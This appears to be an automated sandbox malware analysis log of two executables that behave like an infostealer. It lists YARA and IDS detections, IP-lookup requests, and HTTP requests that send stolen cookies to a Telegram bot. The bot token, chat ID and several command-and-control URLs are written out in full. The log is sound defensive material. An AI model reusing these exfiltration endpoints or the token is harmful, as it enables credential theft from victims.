          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: global trafficTCP traffic: 192.168.2.6:49847 -> 118.69.190.131:587
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2010:57:05%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2013:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: POST /bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443825857&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1f0d506ad3d1Host: api.telegram.orgContent-Length: 1281Connection: Keep-Alive
          Source: global trafficHTTP traffic detected: POST /bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443825857&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1f22c705a7acHost: api.telegram.orgContent-Length: 1281Connection: Keep-Alive
          Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
          Source: Joe Sandbox ViewIP Address: 104.21.67.152 104.21.67.152
          Source: Joe Sandbox ViewIP Address: 118.69.190.131 118.69.190.131
          Source: Joe Sandbox ViewIP Address: 158.101.44.242 158.101.44.242
          Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
          Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
          Source: unknownDNS query: name: checkip.dyndns.org
          Source: unknownDNS query: name: reallyfreegeoip.org
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49720 -> 158.101.44.242:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49742 -> 158.101.44.242:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49731 -> 158.101.44.242:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49756 -> 158.101.44.242:80
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49733 -> 104.21.67.152:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49749 -> 104.21.67.152:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49769 -> 104.21.67.152:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49826 -> 104.21.67.152:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49805 -> 104.21.67.152:443
          Source: global trafficTCP traffic: 192.168.2.6:49847 -> 118.69.190.131:587
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: unknownHTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.6:49730 version: TLS 1.0
          Source: unknownHTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.6:49741 version: TLS 1.0
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2010:57:05%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2013:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficDNS traffic detected: DNS query: checkip.dyndns.org
          Source: global trafficDNS traffic detected: DNS query: reallyfreegeoip.org
          Source: global trafficDNS traffic detected: DNS query: api.telegram.org
          Source: global trafficDNS traffic detected: DNS query: mail.vvtrade.vn
          Source: unknownHTTP traffic detected: POST /bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443825857&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1f0d506ad3d1Host: api.telegram.orgContent-Length: 1281Connection: Keep-Alive
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 16 Dec 2024 13:23:36 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 16 Dec 2024 13:23:39 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          Source: FT876567090.exe, 0000000A.00000002.3392046185.0000000003229000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000358F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?L
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://aborters.duckdns.org:8081
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://anotherarmy.dns.army:8081
          Source: FT876567090.exe, 0000000A.00000002.3392046185.0000000003239000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.telegram.org
          Source: FT876567090.exe, 0000000A.00000002.3388595176.0000000001127000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checkip.ds
          Source: FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org
          Source: FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/q
          Source: FT876567090.exe, 0000000A.00000002.3392046185.0000000003239000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000358F000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mail.vvtrade.vn
          Source: FT876567090.exe, 00000000.00000002.2179357230.0000000002BF2000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000C.00000002.2212573177.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://varders.kozow.com:8081
          Source: FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003239000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
          Source: EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
          Source: FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
          Source: FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20a
          Source: EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443
          Source: FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: FT876567090.exe, 0000000A.00000002.3397710460.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
          Source: FT876567090.exe, 0000000A.00000002.3397710460.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
          Source: EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003533000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003564000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000352E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=en
          Source: FT876567090.exe, 0000000A.00000002.3392046185.00000000031BE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=en8u
          Source: FT876567090.exe, 0000000A.00000002.3392046185.00000000031C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=enlB
          Source: EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
